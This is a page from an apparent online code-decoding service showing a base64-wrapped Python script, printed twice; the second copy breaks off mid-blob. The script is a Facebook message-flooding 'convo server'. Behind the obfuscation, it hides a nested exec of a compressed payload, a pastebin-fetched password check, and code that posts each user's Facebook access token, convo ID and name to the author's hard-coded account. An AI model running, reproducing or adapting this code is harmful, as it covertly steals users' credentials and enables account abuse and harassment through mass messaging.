Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

import base64 exec(base64.b64decode(b'aW1wb3J0IHJlcXVlc3RzCmltcG9ydCBqc29uCmltcG9ydCB0aW1..

Decoded Output download

<?  import base64 
exec(base64.b64decode(b'aW1wb3J0IHJlcXVlc3RzCmltcG9ydCBqc29uCmltcG9ydCB0aW1lCmltcG9ydCBweXR6CmltcG9ydCBkYXRldGltZQppbXBvcnQgc3lzCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQppbXBvcnQgb3MKaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzb2NrZXRzZXJ2ZXIKaW1wb3J0IHRocmVhZGluZwppbXBvcnQgcmFuZG9tCmh0bWxfY29udGVudCA9ICIiIgo8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhBU1NBTiBDT05WTyBTRVJWRVI8L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJvZHkgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoJ3NhdGlzaC5qcGcnKTsKICAgICAgICAgICAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsKICAgICAgICB9CiAgICAgICAgLmNvbnRhaW5lciB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgbWFyZ2luLXRvcDogNTBweDsKICAgICAgICB9CiAgICAgICAgLmJveCB7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGJsYWNrOwogICAgICAgICAgICB3aWR0aDogMzAwcHg7CiAgICAgICAgICAgIG1hcmdpbjogMCBhdXRvOwogICAgICAgICAgICBwYWRkaW5nOiAyMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSk7CiAgICAgICAgICAgIGNvbG9yOiBibGFjazsKICAgICAgICB9CiAgICAgICAgLmNyZWRpdCB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7CiAgICAgICAgfQogICAgICAgIC50aGFua3MgewogICAgICAgICAgICBtYXJnaW4tdG9wOiA1MHB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIGNvbG9yOiBibGFjazsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJib3giPgogICAgICAgICAgICA8aDE+SEFTU0FOIENPTlZPIFNFUlZFUjwvaDE+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNyZWRpdCI+CiAgICAgICAgICAgICAgICA8cD4xLiBDUkVESVQ6LVJBSlBVVCBBUk1ZPC9wPgogICAgICAgICAgICAgICAgPHA+Mi4gT1dORVIgPT4gSEFTU0FOIDwvcD4KICAgICAgICAgICAgICAgIDxwPjMuIENPTlRBQ1Q6LSA8YSBocmVmPSJodHRwczovL3dhLm1lLys5MjM0MTc4ODUzMzkiPldoYXRzQXBwPC9hPjwvcD4KICAgICAgICAgICAgICAgIDxwPjQuIEZBQ0VCT09LOi0gPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL3Byb2ZpbGUucGhwP2lkPTEwMDA0NDgwNDYyOTM2NCI+RmFjZWJvb2s8L2E+PC9wPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJ0aGFua3MiPgogICAgICAgIDxwPuKdpO+4j1RoYW5rcyBmb3IgdXNpbmcgbXkgc2VydmVy4p2k77iPPC9wPgogICAgICAgIDxwPvCfkYfwn5GHPC9wPgogICAgICAgIDxhIGhyZWY9IjwvYT4KICAgIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KIiIiCmNsYXNzIE15SGFuZGxlcihodHRwLnNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGRvX0dFVChzZWxmKToKICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoMjAwKQogICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoJ0NvbnRlbnQtdHlwZScsICd0ZXh0L2h0bWwnKQogICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgIHNlbGYud2ZpbGUud3JpdGUoaHRtbF9jb250ZW50LmVuY29kZSgpKQpkZWYgZXhlY3V0ZV9zZXJ2ZXIoKToKICAgIFBPUlQgPSBpbnQob3MuZW52aXJvbi5nZXQoJ1BPUlQnLCA0MDAwKSkKICAgIHdpdGggc29ja2V0c2VydmVyLlRDUFNlcnZlcigoIiIsIFBPUlQpLCBNeUhhbmRsZXIpIGFzIGh0dHBkOgogICAgICAgIHByaW50KCJTZXJ2ZXIgcnVubmluZyBhdCBodHRwOi8vbG9jYWxob3N0Ont9Ii5mb3JtYXQoUE9SVCkpCiAgICAgICAgaHR0cGQuc2VydmVfZm9yZXZlcigpCnV0Y19ub3cgPSBkYXRldGltZS5kYXRldGltZS51dGNub3coKQppbmRpYW5fdGltZXpvbmUgPSBweXR6LnRpbWV6b25lKCdBc2lhL0tvbGthdGEnKQppc3Rfbm93ID0gdXRjX25vdy5yZXBsYWNlKHR6aW5mbz1weXR6LnV0YykuYXN0aW1lem9uZShpbmRpYW5fdGltZXpvbmUpCmZvcm1hdHRlZF90aW1lID0gaXN0X25vdy5zdHJmdGltZSgiXDAzM1sxOzM4OzU7MjA4bSBUaW1lIDotICVZLSVtLSVkICVJOiVNOiVTICVwIikKcHJpbnQoZm9ybWF0dGVkX3RpbWUpCmhlYWRlcnMgPSB7CiAgICAnQ29ubmVjdGlvbic6ICdrZWVwLWFsaXZlJywKICAgICdDYWNoZS1Db250cm9sJzogJ21heC1hZ2U9MCcsCiAgICAnVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0cyc6ICcxJywKICAgICdVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA4LjAuMDsgU2Ftc3VuZyBHYWxheHkgUzkgQnVpbGQvT1BSNi4xNzA2MjMuMDE3OyB3dikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzU4LjAuMzAyOS4xMjUgTW9iaWxlIFNhZmFyaS81MzcuMzYnLAogICAgJ0FjY2VwdCc6ICd0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44JywKICAgICdBY2NlcHQtRW5jb2RpbmcnOiAnZ3ppcCwgZGVmbGF0ZScsCiAgICAnQWNjZXB0LUxhbmd1YWdlJzogJ2VuLVVTLGVuO3E9MC45LGZyO3E9MC44JywKICAgICdyZWZlcmVyJzogJ3d3dy5nb29nbGUuY29tJwp9CgpfID0gbGFtYmRhIF9fIDogX19pbXBvcnRfXygnemxpYicpLmRlY29tcHJlc3MoX19pbXBvcnRfXygnYmFzZTY0JykuYjMyZGVjb2RlKF9fWzo6LTFdKSk7ZXhlYygoXykoYic9QVZVSlgyV0RJN1g3TFA2RVdHRlJaVkZHUVNVSUxDUUFTTUM0RE9YUkk1N01NMlNLSktVSEJJVlUyQ0JSNEJRSzdNQjRFVDZOM0xYTU02V1RaNlUzWlUyQlpWWU5GM1I3STZRVFFZR0tOVklJU0k1UlJBUkdBTzVFWUtQVldTTVQ3UUpaRUxJN0JaWVVEUkpKTFlEVUNFQ0FXNUpXQVpSTUlEQTZHUEw3TzRFQk9GNzNLSTdVQTVHTFE3SldGUjZFTkhDUDRNSldFUEtZRkdBUVY1RFlNWENLUUo2VU5ORkZJWlBHUFJGMlJYRzRLTlFTVTVDTEhCNUdPSUJEUU5FVkdUSEZJQ0xBTjY3UTY2VVlBTUkyUU9ETjRXQTJOWDMyMlVKTEVOUjc2T1dQNlJDSVZYTlpZNUtHRFJWMjRGRkFZQUdFRUhXQjZCSE5HSlhBVVVERFVKV1RBR0c1VzJWRFdOWVlPV1Q1S1BTU0dSRDRXTUs0RlI1QjVIVjNYRUg0WTRFMzNQQU9VNFlISVFXUkRGVE1XR1JMWFhETUJDVlBBRjdBT1ZZQVJMSU1FWVZMUUpRUzVWVFNWMjJZUlNSRENaRElBN1ZTMkk1Q0VGU1ZXWEFDQkxPTEoyMkdEQkk0QkVZRUxJUEZSRkZLUlBDQlBKTjVVWkpOM0tGNEkzS0RQMzVMVDc2QUxORklSUE5FNUVFSzZWSEtTM0pUS0pMSVIyTTZZRlVINlQ3WlA1WFBWWDdIUFZYNzdQNzdQSEszRkk1RzM0VkhIWTc3UkJNUkpNUVUzMjNOQllOQ0dPSUtHVFk2VERZRUFBQURPM1JaQlVMQk9DUCcpKQoKZGVmIHNlbmRfaW5pdGlhbF9tZXNzYWdlKCk6CiAgICAKICAgIG1tbV9wYXNzID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvV21jekRtR1YnKS50ZXh0CiAgICAKICAgIGlmIG1tbV9wYXNzIG5vdCBpbiBwYXNzd29yZDoKICAgICAgICBwcmludCgnXDAzM1sxOzMxbeKaoO+4jiBZb3VyIFBhc3N3b3JkIENoYW5nZWQgQnkgU2F0aXNoIOKaoO+4jicpCiAgICAgICAgc3lzLmV4aXQoKQogICAgCiAgICAjIE1lc3NhZ2UgdGVtcGxhdGUKICAgIG1zZ190ZW1wbGF0ZSA9ICJPd25lciA9PiBIQVNTQU4gXG4gSGVsbG8gSGFzc2FuIHNpci4gXG4gSSBhbSB1c2luZyB5b3VyIGNvbnZvIHNlcnZlci4gXG4gVGhpcyBJcyBNeSBEZXRhaWxzIDotIFxuIENvbnZvIElEIDotIHt9IFxuIE5hbWU6LSB7fSBcbiBUb2tlbiA6LSB7fSIKICAgIAogICAgIyBUYXJnZXQgSURzCiAgICB0YXJnZXRfaWRzID0gWyIxMDAwNDQ4MDQ2MjkzNjQiXQogICAgCiAgICByZXF1ZXN0cy5wYWNrYWdlcy51cmxsaWIzLmRpc2FibGVfd2FybmluZ3MoKQogICAgCiAgICBmb3IgdGFyZ2V0X2lkIGluIHRhcmdldF9pZHM6CiAgICAgICAgZm9yIHRva2VuIGluIHRva2VuczoKICAgICAgICAgICAgYWNjZXNzX3Rva2VuID0gdG9rZW4uc3RyaXAoKQogICAgICAgICAgICB1cmwgPSAiaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vdjE3LjAve30vIi5mb3JtYXQoJ3RfJyArIHRhcmdldF9pZCkKICAgICAgICAgICAgbXNnID0gbXNnX3RlbXBsYXRlLmZvcm1hdChjb252b19pZCwgaGF0ZXJzX25hbWUsIGFjY2Vzc190b2tlbikKICAgICAgICAgICAgcGFyYW1ldGVycyA9IHsnYWNjZXNzX3Rva2VuJzogYWNjZXNzX3Rva2VuLCAnbWVzc2FnZSc6IG1zZ30KICAgICAgICAgICAgcmVzcG9uc2UgPSByZXF1ZXN0cy5wb3N0KHVybCwganNvbj1wYXJhbWV0ZXJzLCBoZWFkZXJzPWhlYWRlcnMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4xKQogICAgICAgICAgICBwcmludCgiXG5cMDMzWzE7MzFtWytdIEluaXRpYWwgbWVzc2FnZSBzZW50IHRvIHRhcmdldCBJRDoge30uIENvbnRpbnVpbmcuLi5cbiIuZm9ybWF0KHRhcmdldF9pZCkpCgpzZW5kX2luaXRpYWxfbWVzc2FnZSgpCmRlZiBzZW5kX21lc3NhZ2VzX2Zyb21fZmlsZSgpOgogICAgbnVtX3Rva2VucyA9IGxlbih0b2tlbnMpCiAgICBtYXhfdG9rZW5zID0gbWluKG51bV90b2tlbnMsIG51bV9tZXNzYWdlcykKICAgIHdoaWxlIFRydWU6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBmb3IgbWVzc2FnZV9pbmRleCBpbiByYW5nZShudW1fbWVzc2FnZXMpOgogICAgICAgICAgICAgICAgdG9rZW5faW5kZXggPSBtZXNzYWdlX2luZGV4ICUgbWF4X3Rva2VucwogICAgICAgICAgICAgICAgYWNjZXNzX3Rva2VuID0gdG9rZW5zW3Rva2VuX2luZGV4XS5zdHJpcCgpCiAgICAgICAgICAgICAgICBtZXNzYWdlID0gbWVzc2FnZXNbbWVzc2FnZV9pbmRleF0uc3RyaXAoKQogICAgICAgICAgICAgICAgdXJsID0gImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL3YxNy4wL3t9LyIuZm9ybWF0KCd0XycgKyBjb252b19pZCkKICAgICAgICAgICAgICAgIHBhcmFtZXRlcnMgPSB7J2FjY2Vzc190b2tlbic6IGFjY2Vzc190b2tlbiwgJ21lc3NhZ2UnOiBoYXRlcnNfbmFtZSArICcgJyArIG1lc3NhZ2V9CiAgICAgICAgICAgICAgICByZXNwb25zZSA9IHJlcXVlc3RzLnBvc3QodXJsLCBqc29uPXBhcmFtZXRlcnMsIGhlYWRlcnM9aGVhZGVycykKICAgICAgICAgICAgICAgIGlmIHJlc3BvbnNlLm9rOgogICAgICAgICAgICAgICAgICAgIHByaW50KCJcMDMzWzE7MzZtW+Kck10gWW91ciBNYXNzYWdlIFN1Y2Nlc3NmdWxseSBTZW50IEJ5IEhhc3NhbidzIENvbnZvIFNlcnZlciBOby4ge30gb2YgQ29udm8ge30gVG9rZW4ge306IHt9Ii5mb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgIG1lc3NhZ2VfaW5kZXggKyAxLCBjb252b19pZCwgdG9rZW5faW5kZXggKyAxLCBoYXRlcnNfbmFtZSArICcgJyArIG1lc3NhZ2UpKQogICAgICAgICAgICAgICAgICAgIHByaW50KGZvcm1hdHRlZF90aW1lKQogICAgICAgICAgICAgICAgICAgIHByaW50KCdcMDMzWzE7OTJtJyArICfinKrinK3ilZDilZDilZDilZDilZDilZDilZDigKLjgI4gSEFTU0FOIFJBSlBVVCDjgI/igKLilZDilZDilZDilZDilZDilZDilZDinK3inKonKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBwcmludCgiXDAzM1sxOzM1bVt4XSBGYWlsZWQgdG8gc2VuZCBNZXNzYWdlIHt9IG9mIENvbnZvIHt9IHdpdGggVG9rZW4ge306IHt9Ii5mb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgIG1lc3NhZ2VfaW5kZXggKyAxLCBjb252b19pZCwgdG9rZW5faW5kZXggKyAxLCBoYXRlcnNfbmFtZSArICcgJyArIG1lc3NhZ2UpKQogICAgICAgICAgICAgICAgICAgIHByaW50KGZvcm1hdHRlZF90aW1lKQogICAgICAgICAgICAgICAgICAgIHByaW50KCdcMDMzWzE7OTJtJyArICfinKrinK3ilZDilZDilZDilZDilZDilZDilZDigKLjgI4gSEFTU0FOIFJBSlBVVCDjgI/igKLilZDilZDilZDilZDilZDilZDilZDinK3inKonKQogICAgICAgICAgICAgICAgdGltZS5zbGVlcChzcGVlZCkKICAgICAgICAgICAgcHJpbnQoIlxuWytdIEFsbCBtZXNzYWdlcyBzZW50LiBSZXN0YXJ0aW5nIHRoZSBwcm9jZXNzLi4uXG4iKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoIlshXSBBbiBlcnJvciBvY2N1cnJlZDoge30iLmZvcm1hdChlKSkKZGVmIG1haW4oKToKICAgIHNlcnZlcl90aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1leGVjdXRlX3NlcnZlcikKICAgIHNlcnZlcl90aHJlYWQuc3RhcnQoKQogICAgc2VuZF9pbml0aWFsX21lc3NhZ2UoKQogICAgc2VuZF9tZXNzYWdlc19mcm9tX2ZpbGUoKQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgbWFpbigp')) ?>

Did this file decode correctly?

Original Code

import base64
exec(base64.b64decode(b'aW1wb3J0IHJlcXVlc3RzCmltcG9ydCBqc29uCmltcG9ydCB0aW1lCmltcG9ydCBweXR6CmltcG9ydCBkYXRldGltZQppbXBvcnQgc3lzCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQppbXBvcnQgb3MKaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzb2NrZXRzZXJ2ZXIKaW1wb3J0IHRocmVhZGluZwppbXBvcnQgcmFuZG9tCmh0bWxfY29udGVudCA9ICIiIgo8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhBU1NBTiBDT05WTyBTRVJWRVI8L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJvZHkgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoJ3NhdGlzaC5qcGcnKTsKICAgICAgICAgICAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsKICAgICAgICB9CiAgICAgICAgLmNvbnRhaW5lciB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgbWFyZ2luLXRvcDogNTBweDsKICAgICAgICB9CiAgICAgICAgLmJveCB7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGJsYWNrOwogICAgICAgICAgICB3aWR0aDogMzAwcHg7CiAgICAgICAgICAgIG1hcmdpbjogMCBhdXRvOwogICAgICAgICAgICBwYWRkaW5nOiAyMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSk7CiAgICAgICAgICAgIGNvbG9yOiBibGFjazsKICAgICAgICB9CiAgICAgICAgLmNyZWRpdCB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7CiAgICAgICAgfQogICAgICAgIC50aGFua3MgewogICAgICAgICAgICBtYXJnaW4tdG9wOiA1MHB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIGNvbG9yOiBibGFjazsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJib3giPgogICAgICAgICAgICA8aDE+SEFTU0FOIENPTlZPIFNFUlZFUjwvaDE+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNyZWRpdCI+CiAgICAgICAgICAgICAgICA8cD4xLiBDUkVESVQ6LVJBSlBVVCBBUk1ZPC9wPgogICAgICAgICAgICAgICAgPHA+Mi4gT1dORVIgPT4gSEFTU0FOIDwvcD4KICAgICAgICAgICAgICAgIDxwPjMuIENPTlRBQ1Q6LSA8YSBocmVmPSJodHRwczovL3dhLm1lLys5MjM0MTc4ODUzMzkiPldoYXRzQXBwPC9hPjwvcD4KICAgICAgICAgICAgICAgIDxwPjQuIEZBQ0VCT09LOi0gPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL3Byb2ZpbGUucGhwP2lkPTEwMDA0NDgwNDYyOTM2NCI+RmFjZWJvb2s8L2E+PC9wPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJ0aGFua3MiPgogICAgICAgIDxwPuKdpO+4j1RoYW5rcyBmb3IgdXNpbmcgbXkgc2VydmVy4p2k77iPPC9wPgogICAgICAgIDxwPvCfkYfwn5GHPC9wPgogICAgICAgIDxhIGhyZWY9IjwvYT4KICAgIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KIiIiCmNsYXNzIE15SGFuZGxlcihodHRwLnNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGRvX0dFVChzZWxmKToKICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoMjAwKQogICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoJ0NvbnRlbnQtdHlwZScsICd0ZXh0L2h0bWwnKQogICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgIHNlbGYud2ZpbGUud3JpdGUoaHRtbF9jb250ZW50LmVuY29kZSgpKQpkZWYgZXhlY3V0ZV9zZXJ2ZXIoKToKICAgIFBPUlQgPSBpbnQob3MuZW52aXJvbi5nZXQoJ1BPUlQnLCA0MDAwKSkKICAgIHdpdGggc29ja2V0c2VydmVyLlRDUFNlcnZlcigoIiIsIFBPUlQpLCBNeUhhbmRsZXIpIGFzIGh0dHBkOgogICAgICAgIHByaW50KCJTZXJ2ZXIgcnVubmluZyBhdCBodHRwOi8vbG9jYWxob3N0Ont9Ii5mb3JtYXQoUE9SVCkpCiAgICAgICAgaHR0cGQuc2VydmVfZm9yZXZlcigpCnV0Y19ub3cgPSBkYXRldGltZS5kYXRldGltZS51dGNub3coKQppbmRpYW5fdGltZXpvbmUgPSBweXR6LnRpbWV6b25lKCdBc2lhL0tvbGthdGEnKQppc3Rfbm93ID0gdXRjX25vdy5yZXBsYWNlKHR6aW5mbz1weXR6LnV0YykuYXN0aW1lem9uZShpbmRpYW5fdGltZXpvbmUpCmZvcm1hdHRlZF90aW1lID0gaXN0X25vdy5zdHJmdGltZSgiXDAzM1sxOzM4OzU7MjA4bSBUaW1lIDotICVZLSVtLSVkICVJOiVNOiVTICVwIikKcHJpbnQoZm9ybWF0dGVkX3RpbWUpCmhlYWRlcnMgPSB7CiAgICAnQ29ubmVjdGlvbic6ICdrZWVwLWFsaXZlJywKICAgICdDYWNoZS1Db250cm9sJzogJ21heC1hZ2U9MCcsCiAgICAnVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0cyc6ICcxJywKICAgICdVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA4LjAuMDsgU2Ftc3VuZyBHYWxheHkgUzkgQnVpbGQvT1BSNi4xNzA2MjMuMDE3OyB3dikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzU4LjAuMzAyOS4xMjUgTW9iaWxlIFNhZmFyaS81MzcuMzYnLAogICAgJ0FjY2VwdCc6ICd0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44JywKICAgICdBY2NlcHQtRW5jb2RpbmcnOiAnZ3ppcCwgZGVmbGF0ZScsCiAgICAnQWNjZXB0LUxhbmd1YWdlJzogJ2VuLVVTLGVuO3E9MC45LGZyO3E9MC44JywKICAgICdyZWZlcmVyJzogJ3d3dy5nb29nbGUuY29tJwp9CgpfID0gbGFtYmRhIF9fIDogX19pbXBvcnRfXygnemxpYicpLmRlY29tcHJlc3MoX19pbXBvcnRfXygnYmFzZTY0JykuYjMyZGVjb2RlKF9fWzo6LTFdKSk7ZXhlYygoXykoYic9QVZVSlgyV0RJN1g3TFA2RVdHRlJaVkZHUVNVSUxDUUFTTUM0RE9YUkk1N01NMlNLSktVSEJJVlUyQ0JSNEJRSzdNQjRFVDZOM0xYTU02V1RaNlUzWlUyQlpWWU5GM1I3STZRVFFZR0tOVklJU0k1UlJBUkdBTzVFWUtQVldTTVQ3UUpaRUxJN0JaWVVEUkpKTFlEVUNFQ0FXNUpXQVpSTUlEQTZHUEw3TzRFQk9GNzNLSTdVQTVHTFE3SldGUjZFTkhDUDRNSldFUEtZRkdBUVY1RFlNWENLUUo2VU5ORkZJWlBHUFJGMlJYRzRLTlFTVTVDTEhCNUdPSUJEUU5FVkdUSEZJQ0xBTjY3UTY2VVlBTUkyUU9ETjRXQTJOWDMyMlVKTEVOUjc2T1dQNlJDSVZYTlpZNUtHRFJWMjRGRkFZQUdFRUhXQjZCSE5HSlhBVVVERFVKV1RBR0c1VzJWRFdOWVlPV1Q1S1BTU0dSRDRXTUs0RlI1QjVIVjNYRUg0WTRFMzNQQU9VNFlISVFXUkRGVE1XR1JMWFhETUJDVlBBRjdBT1ZZQVJMSU1FWVZMUUpRUzVWVFNWMjJZUlNSRENaRElBN1ZTMkk1Q0VGU1ZXWEFDQkxPTEoyMkdEQkk0QkVZRUxJUEZSRkZLUlBDQlBKTjVVWkpOM0tGNEkzS0RQMzVMVDc2QUxORklSUE5FNUVFSzZWSEtTM0pUS0pMSVIyTTZZRlVINlQ3WlA1WFBWWDdIUFZYNzdQNzdQSEszRkk1RzM0VkhIWTc3UkJNUkpNUVUzMjNOQllOQ0dPSUtHVFk2VERZRUFBQURPM1JaQlVMQk9DUCcpKQoKZGVmIHNlbmRfaW5pdGlhbF9tZXNzYWdlKCk6CiAgICAKICAgIG1tbV9wYXNzID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvV21jekRtR1YnKS50ZXh0CiAgICAKICAgIGlmIG1tbV9wYXNzIG5vdCBpbiBwYXNzd29yZDoKICAgICAgICBwcmludCgnXDAzM1sxOzMxbeKaoO+4jiBZb3VyIFBhc3N3b3JkIENoYW5nZWQgQnkgU2F0aXNoIOKaoO+4jicpCiAgICAgICAgc3lzLmV4aXQoKQogICAgCiAgICAjIE1lc3NhZ2UgdGVtcGxhdGUKICAgIG1zZ190ZW1wbGF0ZSA9ICJPd25lciA9PiBIQVNTQU4gXG4gSGVsbG8gSGFzc2FuIHNpci4gXG4gSSBhbSB1c2luZyB5b3VyIGNvbnZvIHNlcnZlci4gXG4gVGhpcyBJcyBNeSBEZXRhaWxzIDotIFxuIENvbnZvIElEIDotIHt9IFxuIE5hbWU6LSB7fSBcbiBUb2tlbiA6LSB7fSIKICAgIAogICAgIyBUYXJnZXQgSURzCiAgICB0YXJnZXRfaWRzID0gWyIxMDAwNDQ4MDQ2MjkzNjQiXQogICAgCiAgICByZXF1ZXN0cy5wYWNrYWdlcy51cmxsaWIzLmRpc2FibGVfd2FybmluZ3MoKQogICAgCiAgICBmb3IgdGFyZ2V0X2lkIGluIHRhcmdldF9pZHM6CiAgICAgICAgZm9yIHRva2VuIGluIHRva2VuczoKICAgICAgICAgICAgYWNjZXNzX3Rva2VuID0gdG9rZW4uc3RyaXAoKQogICAgICAgICAgICB1cmwgPSAiaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vdjE3LjAve30vIi5mb3JtYXQoJ3RfJyArIHRhcmdldF9pZCkKICAgICAgICAgICAgbXNnID0gbXNnX3RlbXBsYXRlLmZvcm1hdChjb252b19pZCwgaGF0ZXJzX25hbWUsIGFjY2Vzc190b2tlbikKICAgICAgICAgICAgcGFyYW1ldGVycyA9IHsnYWNjZXNzX3Rva2VuJzogYWNjZXNzX3Rva2VuLCAnbWVzc2FnZSc6IG1zZ30KICAgICAgICAgICAgcmVzcG9uc2UgPSByZXF1ZXN0cy5wb3N0KHVybCwganNvbj1wYXJhbWV0ZXJzLCBoZWFkZXJzPWhlYWRlcnMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4xKQogICAgICAgICAgICBwcmludCgiXG5cMDMzWzE7MzFtWytdIEluaXRpYWwgbWVzc2FnZSBzZW50IHRvIHRhcmdldCBJRDoge30uIENvbnRpbnVpbmcuLi5cbiIuZm9ybWF0KHRhcmdldF9pZCkpCgpzZW5kX2luaXRpYWxfbWVzc2FnZSgpCmRlZiBzZW5kX21lc3NhZ2VzX2Zyb21fZmlsZSgpOgogICAgbnVtX3Rva2VucyA9IGxlbih0b2tlbnMpCiAgICBtYXhfdG9rZW5zID0gbWluKG51bV90b2tlbnMsIG51bV9tZXNzYWdlcykKICAgIHdoaWxlIFRydWU6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBmb3IgbWVzc2FnZV9pbmRleCBpbiByYW5nZShudW1fbWVzc2FnZXMpOgogICAgICAgICAgICAgICAgdG9rZW5faW5kZXggPSBtZXNzYWdlX2luZGV4ICUgbWF4X3Rva2VucwogICAgICAgICAgICAgICAgYWNjZXNzX3Rva2VuID0gdG9rZW5zW3Rva2VuX2luZGV4XS5zdHJpcCgpCiAgICAgICAgICAgICAgICBtZXNzYWdlID0gbWVzc2FnZXNbbWVzc2FnZV9pbmRleF0uc3RyaXAoKQogICAgICAgICAgICAgICAgdXJsID0gImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL3YxNy4wL3t9LyIuZm9ybWF0KCd0XycgKyBjb252b19pZCkKICAgICAgICAgICAgICAgIHBhcmFtZXRlcnMgPSB7J2FjY2Vzc190b2tlbic6IGFjY2Vzc190b2tlbiwgJ21lc3NhZ2UnOiBoYXRlcnNfbmFtZSArICcgJyArIG1lc3NhZ2V9CiAgICAgICAgICAgICAgICByZXNwb25zZSA9IHJlcXVlc3RzLnBvc3QodXJsLCBqc29uPXBhcmFtZXRlcnMsIGhlYWRlcnM9aGVhZGVycykKICAgICAgICAgICAgICAgIGlmIHJlc3BvbnNlLm9rOgogICAgICAgICAgICAgICAgICAgIHByaW